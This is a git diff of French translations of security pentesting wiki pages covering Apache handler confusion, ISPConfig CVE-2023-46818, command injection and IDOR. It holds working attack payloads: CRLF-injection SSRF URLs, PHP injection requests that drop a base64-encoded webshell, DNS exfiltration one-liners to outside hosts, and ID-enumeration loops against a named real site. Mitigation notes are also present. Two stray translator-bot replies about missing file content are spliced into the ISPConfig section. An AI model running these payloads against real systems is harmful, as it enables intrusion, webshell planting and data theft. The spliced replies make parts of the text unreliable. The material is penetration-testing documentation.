- L'utilisation de **magpie_debug.php** de **MagpieRSS** à **/usr/share/php/magpierss/scripts/magpie_debug.php** peut facilement créer une vulnérabilité SSRF, ouvrant la voie à d'autres exploits.
|
||||
|
||||
**Local Gadget to RCE**
|
||||
**Gadget local vers RCE**
|
||||
|
||||
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
|
||||
- Les opportunités d'**exécution de code à distance (RCE)** sont nombreuses, avec des installations vulnérables comme une version obsolète de **PHPUnit** ou **phpLiteAdmin**. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, illustrant le potentiel étendu de la manipulation de gadgets locaux.
|
||||
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
#### **Jailbreak depuis des gadgets locaux**
|
||||
|
||||
It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
|
||||
Il est aussi possible de faire un jailbreak à partir des dossiers autorisés en suivant des symlinks générés par des logiciels installés dans ces dossiers, tels que :
|
||||
|
||||
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
@ -186,55 +186,55 @@ It's also possible to jailbreak from the allowed folders by following symlinks g
|
||||
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
|
||||
De plus, en abusant des symlinks, il a été possible d'obtenir une **RCE dans Redmine.**
|
||||
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
### Confusion des handlers <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **activer le traitement PHP**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
|
||||
Cette attaque exploite le chevauchement fonctionnel entre les directives `AddHandler` et `AddType`, qui peuvent toutes deux être utilisées pour **activer le traitement PHP**. À l'origine, ces directives affectaient différents champs (`r->handler` et `r->content_type` respectivement) dans la structure interne du serveur. Cependant, à cause d'un code hérité, Apache traite ces directives de manière interchangeable dans certaines conditions, en convertissant `r->content_type` en `r->handler` si le premier est défini et le second ne l'est pas.
|
||||
|
||||
Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
|
||||
De plus, dans Apache HTTP Server (`server/config.c#L420`), si `r->handler` est vide avant l'exécution de `ap_run_handler()`, le serveur **utilise `r->content_type` comme handler**, rendant effectivement `AddType` et `AddHandler` identiques en effet.
|
||||
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
#### **Écraser le handler pour divulguer le code source PHP**
|
||||
|
||||
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
|
||||
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
|
||||
Dans [**cette présentation**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), une vulnérabilité a été exposée où un `Content-Length` incorrect envoyé par un client peut amener Apache à **retourner par erreur le code source PHP**. Cela était dû à un problème de gestion d'erreur avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser `r->content_type` en `text/html`.\
|
||||
Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP au lieu de l'interpréter.
|
||||
|
||||
#### **Overwrite Handler to XXXX**
|
||||
#### **Écraser le handler vers XXXX**
|
||||
|
||||
TODO : Orange n'a pas encore divulgué cette vulnérabilité
|
||||
TODO: Orange n'a pas encore divulgué cette vulnérabilité
|
||||
|
||||
### **Invoke Arbitrary Handlers**
|
||||
### **Invoquer des handlers arbitraires**
|
||||
|
||||
If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
|
||||
Si un attaquant parvient à contrôler l'en-tête **`Content-Type`** dans une réponse serveur, il pourra **invoquer des handlers de modules arbitraires**. Cependant, au moment où l'attaquant contrôle cela, la majeure partie du traitement de la requête sera déjà effectuée. Il est toutefois possible de **relancer le processus de requête en abusant de l'en-tête `Location`** car si le `Status` retourné est 200 et que l'en-tête `Location` commence par `/`, la réponse est traitée comme une redirection côté serveur et doit être retraitée
|
||||
|
||||
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
|
||||
Selon [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spécification sur CGI) dans [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) il est défini le comportement de Local Redirect Response :
|
||||
|
||||
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
|
||||
> Le script CGI peut renvoyer un chemin URI et une chaîne de requête ('local-pathquery') pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit retraiter la requête en utilisant le chemin spécifié.
|
||||
|
||||
Therefore, to perform this attack is needed one of the following vulns:
|
||||
Par conséquent, pour réaliser cette attaque, l'une des vulnérabilités suivantes est nécessaire :
|
||||
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF with complete control of the response headers
|
||||
|
||||
#### **Arbitrary Handler to Information Disclosure**
|
||||
#### **Handler arbitraire vers divulgation d'informations**
|
||||
|
||||
For example `/server-status` should only be accessible locally:
|
||||
Par exemple `/server-status` ne devrait être accessible qu'en local :
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête `Location` commençant par `/`.
|
||||
Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête Location commençant par `/`.
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Arbitrary Handler to Full SSRF**
|
||||
#### **Du Handler arbitraire au SSRF complet**
|
||||
|
||||
Rediriger vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL :
|
||||
Redirection vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL :
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -243,11 +243,11 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux endpoints de métadonnées cloud.
|
||||
Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux points de terminaison des métadonnées cloud.
|
||||
|
||||
#### **Handler arbitraire pour accéder au Unix Domain Socket local**
|
||||
|
||||
Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans `/tmp/:`
|
||||
Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans `/tmp/` :
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
|
@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vue d'ensemble
|
||||
## Aperçu
|
||||
|
||||
ISPConfig est un panneau de contrôle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle est activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction mal formé. Cela peut permettre une RCE dans le contexte du serveur web et, selon la manière dont PHP est exécuté, une privilege escalation.
|
||||
ISPConfig est un panneau de contrôle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle était activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la façon dont PHP est exécuté, à une élévation de privilèges.
|
||||
|
||||
Principaux chemins par défaut :
|
||||
- La racine web se situe souvent dans `/var/www/ispconfig` lorsqu'il est servi avec `php -S` ou via Apache/nginx.
|
||||
- L'interface d'administration est accessible sur le vhost HTTP(S) (parfois liée uniquement à localhost ; utilisez un port-forward SSH si nécessaire).
|
||||
Key default paths:
|
||||
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
|
||||
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
|
||||
|
||||
Astuce : si le panneau est lié localement (p. ex. `127.0.0.1:8080`), faites un tunnel :
|
||||
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Language editor PHP code injection (CVE-2023-46818)
|
||||
## Injection de code PHP via l'éditeur de langue (CVE-2023-46818)
|
||||
|
||||
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Preconditions:
|
||||
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
|
||||
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
|
||||
- Affecté : ISPConfig jusqu'à 3.2.11 (corrigé dans 3.2.11p1)
|
||||
- Préconditions :
|
||||
- Se connecter avec le compte superadmin intégré `admin` (les autres rôles ne sont pas affectés selon le fournisseur)
|
||||
- L'éditeur de langue doit être activé : `admin_allow_langedit=yes` dans `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impact : Un admin authentifié peut injecter du PHP arbitraire qui est écrit dans un fichier de langue et exécuté par l'application, aboutissant à une RCE dans le contexte web
|
||||
|
||||
Références : entrée NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section References ci-dessous.
|
||||
Références : entrée NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section Références ci‑dessous.
|
||||
|
||||
### Manual exploitation flow
|
||||
### Processus d'exploitation manuel
|
||||
|
||||
1) Ouvrir/créer un fichier de langue pour obtenir les tokens CSRF
|
||||
1) Ouvrir/créer un fichier de langue pour obtenir les jetons CSRF
|
||||
|
||||
Envoyez un premier POST pour initialiser le formulaire et extraire les champs CSRF depuis la réponse HTML (`csrf_id`, `csrf_key`). Exemple de chemin de requête : `/admin/language_edit.php`.
|
||||
Envoyer un premier POST pour initialiser le formulaire et parser les champs CSRF depuis la réponse HTML (`csrf_id`, `csrf_key`). Chemin de requête d'exemple: `/admin/language_edit.php`.
|
||||
|
||||
2) Injecter du PHP via records[] et sauvegarder
|
||||
2) Injecter du PHP via records[] et enregistrer
|
||||
|
||||
Soumettez un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Probes minimales d'exécution de commande :
|
||||
Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Exemples minimaux d'exécution de commande :
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
@ -42,25 +42,25 @@ Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
Test hors-bande (observer ICMP):
|
||||
Out-of-band test (observer ICMP):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Écrire des fichiers et déposer un webshell
|
||||
3) Écrire des fichiers et drop a webshell
|
||||
|
||||
Utilisez `file_put_contents` pour créer un fichier sous un chemin accessible via le web (par exemple, `admin/`):
|
||||
Utilisez `file_put_contents` pour créer un fichier dans un chemin accessible via le web (par ex., `admin/`) :
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Ensuite, écrivez un webshell simple utilisant base64 pour éviter les caractères indésirables dans le corps POST :
|
||||
Ensuite, écrivez un simple webshell en utilisant base64 pour éviter les caractères indésirables dans le POST body :
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
Je n’ai pas reçu le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md. Veuillez coller ici le contenu à traduire (ou téléverser le fichier). Je traduirai tout en français en conservant exactement la même syntaxe Markdown/HTML et en respectant vos consignes.
|
||||
Je n’ai pas accès aux fichiers du dépôt. Veuillez coller ici le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md que vous voulez faire traduire en français — je le traduirai en respectant les règles que vous avez indiquées.
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Si PHP est exécuté en root (par exemple via `php -S 127.0.0.1:8080` lancé par root), cela entraîne une root RCE immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web.
|
||||
Si PHP est exécuté en tant que root (par ex., via `php -S 127.0.0.1:8080` lancé par root), cela entraîne une RCE root immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web.
|
||||
|
||||
### Python PoC
|
||||
|
||||
@ -71,15 +71,15 @@ Exemple d'exécution:
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### Hardening
|
||||
### Durcissement
|
||||
|
||||
- Mettre à niveau vers la version 3.2.11p1 ou une version ultérieure
|
||||
- Désactiver l'éditeur de langues sauf si strictement nécessaire:
|
||||
- Mettre à jour vers 3.2.11p1 ou une version ultérieure
|
||||
- Désactiver l'éditeur de langue sauf si strictement nécessaire :
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Évitez d'exécuter le panneau en tant que root ; configurez PHP-FPM ou le web server pour réduire les privilèges
|
||||
- Imposer une authentification forte pour le compte intégré `admin`
|
||||
- Évitez d'exécuter le panel en tant que root ; configurez PHP-FPM ou le web server pour réduire les privilèges
|
||||
- Exigez une authentification forte pour le compte intégré `admin`
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Qu'est-ce que command Injection ?
|
||||
|
||||
Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès ou un contrôle non autorisé sur l'environnement de l'application et le système sous-jacent.
|
||||
Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent.
|
||||
|
||||
### Contexte
|
||||
|
||||
Selon **l'endroit où votre entrée est injectée**, vous devrez peut‑être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
|
||||
Selon l'endroit **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
```
|
||||
### **Limitation** Bypasses
|
||||
|
||||
Si vous essayez d'exécuter **des commandes arbitraires dans une machine linux**, vous serez intéressé par ces **Bypasses :**
|
||||
Si vous essayez d'exécuter des **commandes arbitraires dans une machine linux**, vous serez intéressé à lire ces **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Paramètres
|
||||
|
||||
Voici les 25 paramètres principaux qui pourraient être vulnérables aux code injection et autres vulnérabilités RCE (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)) :
|
||||
Voici les 25 principaux paramètres qui pourraient être vulnérables aux attaques de code injection et aux vulnérabilités RCE similaires (source: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +77,7 @@ Voici les 25 paramètres principaux qui pourraient être vulnérables aux code i
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
Extraction de données : caractère par caractère
|
||||
Extraction de data : char par char
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -91,7 +91,7 @@ sys 0m0.000s
|
||||
```
|
||||
### Exfiltration de données via DNS
|
||||
|
||||
Basé sur l'outil provenant de `https://github.com/HoLyVieR/dnsbin` également hébergé sur dnsbin.zhack.ca
|
||||
Basé sur l'outil de `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Outils en ligne pour vérifier l'exfiltration de données via DNS:
|
||||
Outils en ligne pour vérifier la data exfiltration via DNS :
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Lorsque vous auditez des back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
|
||||
Lors de l'audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,7 +130,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère qui a une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne.
|
||||
`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne.
|
||||
|
||||
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément séparé du tableau** afin qu'aucun shell ne soit impliqué :
|
||||
```javascript
|
||||
@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, lesquelles étaient ensuite incorporées dans un appel `exec()`, permettant une RCE (Pwn2Own Ireland 2024).
|
||||
Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, lesquelles étaient ensuite intégrées dans un appel `exec()`, permettant une RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Liste de détection Brute-Force
|
||||
## Liste de détection de force brute
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu'un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l'utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l'appelant est autorisé** à accéder/modifier cet objet.
|
||||
Une exploitation réussie permet généralement une escalade de privilèges horizontale ou verticale, comme la lecture ou la modification des données d'autres utilisateurs et, dans le pire des cas, la prise de contrôle complète d'un compte ou l'exfiltration massive de données.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l’utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l’appelant est autorisé** à accéder/modifier cet objet.
|
||||
L’exploitation réussie permet généralement une horizontal or vertical privilege-escalation, comme la lecture ou la modification des données d’autres utilisateurs et, dans le pire des cas, un full account takeover ou une mass-data exfiltration.
|
||||
|
||||
---
|
||||
## 1. Identifier les IDOR potentiels
|
||||
|
||||
1. Recherchez des **paramètres qui référencent un objet** :
|
||||
1. Cherchez des **paramètres qui référencent un objet** :
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Privilégiez les endpoints qui **lisent ou mettent à jour** des données (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Notez lorsque les identifiants sont **séquentiels ou prédictibles** – si votre ID est `64185742`, alors `64185741` existe probablement.
|
||||
4. Explorez les flux cachés ou alternatifs (par ex. le lien *"Paradox team members"* sur les pages de login) qui peuvent exposer des API supplémentaires.
|
||||
5. Utilisez une **session authentifiée à faible privilège** et ne changez que l'ID **en conservant le même token/cookie**. L'absence d'une erreur d'autorisation est généralement un signe d'IDOR.
|
||||
3. Notez quand les identifiants sont **séquentiels ou prédictibles** – si votre ID est `64185742`, alors `64185741` existe probablement.
|
||||
4. Explorez les flux cachés ou alternatifs (par ex. le lien *"Paradox team members"* sur les pages de login) qui peuvent exposer des APIs supplémentaires.
|
||||
5. Utilisez une session authentifiée avec peu de privilèges et ne changez que l’ID **en gardant le même token/cookie**. L’absence d’une erreur d’autorisation est généralement un signe d’IDOR.
|
||||
|
||||
### Manipulation manuelle rapide (Burp Repeater)
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -27,7 +27,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Enumération automatisée (Burp Intruder / curl loop)
|
||||
### Énumération automatisée (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -38,33 +38,33 @@ done
|
||||
```
|
||||
---
|
||||
|
||||
### Oracle de réponse d'erreur pour l'énumération utilisateur/fichier
|
||||
### Oracle de réponses d'erreur pour l'énumération utilisateur/fichier
|
||||
|
||||
Quand un download endpoint accepte à la fois un username et un filename (par ex. `/view.php?username=<u>&file=<f>`), des différences subtiles dans les messages d'erreur créent souvent un oracle :
|
||||
Lorsqu'un endpoint de téléchargement accepte à la fois un username et un filename (par ex. `/view.php?username=<u>&file=<f>`), de subtiles différences dans les messages d'erreur créent souvent un oracle :
|
||||
|
||||
- Nom d'utilisateur inexistant → "User not found"
|
||||
- Mauvais filename mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles)
|
||||
- Mauvaise extension → validation error
|
||||
- username inexistant → "User not found"
|
||||
- filename invalide mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles)
|
||||
- extension invalide → erreur de validation
|
||||
|
||||
Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne "user not found" pour découvrir des utilisateurs valides :
|
||||
Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne "User not found" pour découvrir des utilisateurs valides :
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., `/view.php?username=amanda&file=privacy.odt`). Ce schéma conduit souvent à la divulgation non autorisée des documents d'autres utilisateurs et credential leakage.
|
||||
Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., `/view.php?username=amanda&file=privacy.odt`). Ce schéma conduit fréquemment à la divulgation non autorisée des documents d'autres utilisateurs et à credential leakage.
|
||||
|
||||
---
|
||||
## 2. Étude de cas réelle – McHire Chatbot Platform (2025)
|
||||
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
|
||||
|
||||
Lors d'une évaluation du portail de recrutement **McHire** propulsé par Paradox.ai, l'IDOR suivant a été découvert :
|
||||
Lors d'une évaluation du portail de recrutement **McHire** propulsé par Paradox.ai, l'IDOR suivant a été découvert :
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: cookie de session utilisateur pour **n'importe quel** compte test restaurant
|
||||
* Body parameter: `{"lead_id": N}` – identifiant numérique de 8 chiffres, **séquentiel**
|
||||
* Authorization: user session cookie for **any** restaurant test account
|
||||
* Body parameter: `{"lead_id": N}` – identifiant numérique **séquentiel** de 8 chiffres
|
||||
|
||||
En décrémentant `lead_id`, le testeur a récupéré la **full PII** d'autres candidats arbitraires (nom, e-mail, téléphone, adresse, préférences de poste) ainsi qu'un **JWT** utilisateur qui a permis le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
|
||||
En diminuant `lead_id`, le testeur a récupéré la **full PII** de candidats arbitraires (nom, e-mail, téléphone, adresse, préférences d'horaires) ainsi qu'un consumer **JWT** qui a permis le session hijacking. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
|
||||
|
||||
Proof-of-Concept request:
|
||||
```bash
|
||||
@ -72,33 +72,33 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combinée avec les **identifiants admin par défaut** (`123456:123456`) qui donnaient accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l'échelle de l'entreprise.
|
||||
Combinée avec les **identifiants admin par défaut** (`123456:123456`) qui donnaient accès au compte de test, la vulnérabilité a entraîné une fuite de données critique à l'échelle de l'entreprise.
|
||||
|
||||
---
|
||||
## 3. Impact de IDOR / BOLA
|
||||
* Escalade horizontale – lecture/mise à jour/suppression des données **d'autres utilisateurs**.
|
||||
* Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux admins.
|
||||
* Violation massive de données si les identifiants sont séquentiels (ex., IDs de candidats, factures).
|
||||
* Prise de contrôle de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs.
|
||||
## 3. Impact d'IDOR / BOLA
|
||||
* Escalade horizontale – lire/mettre à jour/supprimer les données **d'autres utilisateurs**.
|
||||
* Escalade verticale – un utilisateur peu privilégié obtient des fonctionnalités réservées aux administrateurs.
|
||||
* Fuite massive de données si les identifiants sont séquentiels (p. ex., IDs de candidats, factures).
|
||||
* Prise de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs.
|
||||
|
||||
---
|
||||
## 4. Atténuations & Bonnes pratiques
|
||||
1. **Appliquer l'autorisation au niveau objet** sur chaque requête (`user_id == session.user`).
|
||||
2. Préférer des **identifiants indirects et non devinables** (UUIDv4, ULID) plutôt que des IDs auto-incrémentés.
|
||||
3. Effectuer l'autorisation **côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
|
||||
4. Implémenter des vérifications **RBAC / ABAC** dans un middleware central.
|
||||
5. Ajouter **rate-limiting & logging** pour détecter l'énumération d'IDs.
|
||||
6. Tester la sécurité de chaque nouvel endpoint (tests unitaires, d'intégration et DAST).
|
||||
## 4. Atténuations & bonnes pratiques
|
||||
1. **Appliquer une autorisation au niveau des objets** sur chaque requête (`user_id == session.user`).
|
||||
2. Privilégier des **identifiants indirects et non devinables** (UUIDv4, ULID) au lieu des IDs auto-incrémentés.
|
||||
